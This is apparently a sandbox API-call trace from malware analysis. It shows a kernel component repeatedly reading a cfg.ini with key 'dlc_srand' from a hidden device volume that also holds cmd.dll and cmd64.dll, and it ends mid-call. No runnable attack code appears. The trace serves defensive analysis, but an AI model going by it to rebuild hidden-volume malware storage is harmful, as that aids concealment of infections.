_strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.079] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.079] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.079] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.079] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be71b0 [0123.079] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.079] KeLeaveCriticalRegion () [0123.079] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.079] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.079] KeEnterCriticalRegion () [0123.079] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.079] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.079] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.079] KeLeaveCriticalRegion () [0123.079] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.079] KeEnterCriticalRegion () [0123.079] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.079] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.079] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.079] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.079] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.079] IdePortDispatch () returned 0x103 [0123.079] KeWaitForMutexObject () returned 0x0 [0123.080] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.080] KeLeaveCriticalRegion () [0123.080] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.080] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.080] KeEnterCriticalRegion () [0123.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.080] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da7000 [0123.080] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.080] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.080] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.080] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.080] IdePortDispatch () returned 0x103 [0123.080] KeWaitForMutexObject () returned 0x0 [0123.080] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.080] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.080] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.080] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.080] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.080] IdePortDispatch () returned 0x103 [0123.080] KeWaitForMutexObject () returned 0x0 [0123.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.080] KeLeaveCriticalRegion () [0123.080] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.081] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.081] KeEnterCriticalRegion () [0123.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.081] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.081] KeLeaveCriticalRegion () [0123.081] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.081] KeEnterCriticalRegion () [0123.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.081] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.081] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.081] KeLeaveCriticalRegion () [0123.081] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.081] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.081] KeEnterCriticalRegion () [0123.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.081] ExFreePoolWithTag (P=0xfffffa8003be71b0, Tag=0x0) [0123.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.081] KeLeaveCriticalRegion () [0123.081] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.081] ReleaseMutex (hMutex=0xf0) returned 1 [0123.081] Sleep (dwMilliseconds=0x124f80) [0123.095] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.095] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.095] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.095] KeEnterCriticalRegion () [0123.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.095] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.095] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.095] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.095] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.095] IdePortDispatch () returned 0x103 [0123.095] KeWaitForMutexObject () returned 0x0 [0123.096] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.096] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.096] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.096] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.096] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.096] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003825a40 [0123.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.096] KeLeaveCriticalRegion () [0123.096] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.096] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.096] KeEnterCriticalRegion () [0123.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.096] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.096] KeLeaveCriticalRegion () [0123.096] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.096] KeEnterCriticalRegion () [0123.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.096] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.096] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.096] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.096] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.096] IdePortDispatch () returned 0x103 [0123.096] KeWaitForMutexObject () returned 0x0 [0123.096] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.096] KeLeaveCriticalRegion () [0123.096] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.096] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.096] KeEnterCriticalRegion () [0123.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.096] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dac000 [0123.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.097] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.097] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.097] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.097] IdePortDispatch () returned 0x103 [0123.097] KeWaitForMutexObject () returned 0x0 [0123.097] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.097] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.097] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.097] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.097] IdePortDispatch () returned 0x103 [0123.097] KeWaitForMutexObject () returned 0x0 [0123.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.097] KeLeaveCriticalRegion () [0123.097] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.098] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.098] KeEnterCriticalRegion () [0123.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.098] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.098] KeLeaveCriticalRegion () [0123.098] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.098] KeEnterCriticalRegion () [0123.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.098] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.098] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbedd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.098] KeLeaveCriticalRegion () [0123.098] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.098] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.098] KeEnterCriticalRegion () [0123.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.098] ExFreePoolWithTag (P=0xfffffa8003825a40, Tag=0x0) [0123.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.098] KeLeaveCriticalRegion () [0123.098] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.098] ReleaseMutex (hMutex=0xf0) returned 1 [0123.098] Sleep (dwMilliseconds=0x124f80) [0123.113] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.113] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.113] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.113] KeEnterCriticalRegion () [0123.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.113] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.113] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.113] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.113] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.113] IdePortDispatch () returned 0x103 [0123.113] KeWaitForMutexObject () returned 0x0 [0123.113] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.113] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.113] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.113] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.114] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.114] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6200 [0123.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.114] KeLeaveCriticalRegion () [0123.114] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.114] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.114] KeEnterCriticalRegion () [0123.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.114] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.114] KeLeaveCriticalRegion () [0123.114] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.114] KeEnterCriticalRegion () [0123.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.114] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.114] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.114] IdePortDispatch () returned 0x103 [0123.114] KeWaitForMutexObject () returned 0x0 [0123.114] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.114] KeLeaveCriticalRegion () [0123.114] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.114] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.114] KeEnterCriticalRegion () [0123.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.114] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db1000 [0123.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.114] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.114] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.114] IdePortDispatch () returned 0x103 [0123.114] KeWaitForMutexObject () returned 0x0 [0123.115] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.115] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.115] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.115] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.115] IdePortDispatch () returned 0x103 [0123.115] KeWaitForMutexObject () returned 0x0 [0123.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.115] KeLeaveCriticalRegion () [0123.115] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.115] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.115] KeEnterCriticalRegion () [0123.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.115] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.116] KeLeaveCriticalRegion () [0123.116] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.116] KeEnterCriticalRegion () [0123.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.116] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.116] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.116] KeLeaveCriticalRegion () [0123.116] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.116] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.116] KeEnterCriticalRegion () [0123.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.116] ExFreePoolWithTag (P=0xfffffa8003bc6200, Tag=0x0) [0123.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.116] KeLeaveCriticalRegion () [0123.116] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.116] ReleaseMutex (hMutex=0xf0) returned 1 [0123.116] Sleep (dwMilliseconds=0x124f80) [0123.131] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.131] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.131] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.131] KeEnterCriticalRegion () [0123.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.131] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.131] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.131] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.131] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.131] IdePortDispatch () returned 0x103 [0123.131] KeWaitForMutexObject () returned 0x0 [0123.132] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.132] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.132] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.132] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.132] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.132] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9f60 [0123.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.132] KeLeaveCriticalRegion () [0123.132] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.132] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.132] KeEnterCriticalRegion () [0123.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.132] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.132] KeLeaveCriticalRegion () [0123.132] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.132] KeEnterCriticalRegion () [0123.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.132] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.132] IdePortDispatch () returned 0x103 [0123.132] KeWaitForMutexObject () returned 0x0 [0123.132] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.132] KeLeaveCriticalRegion () [0123.132] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.132] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.132] KeEnterCriticalRegion () [0123.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 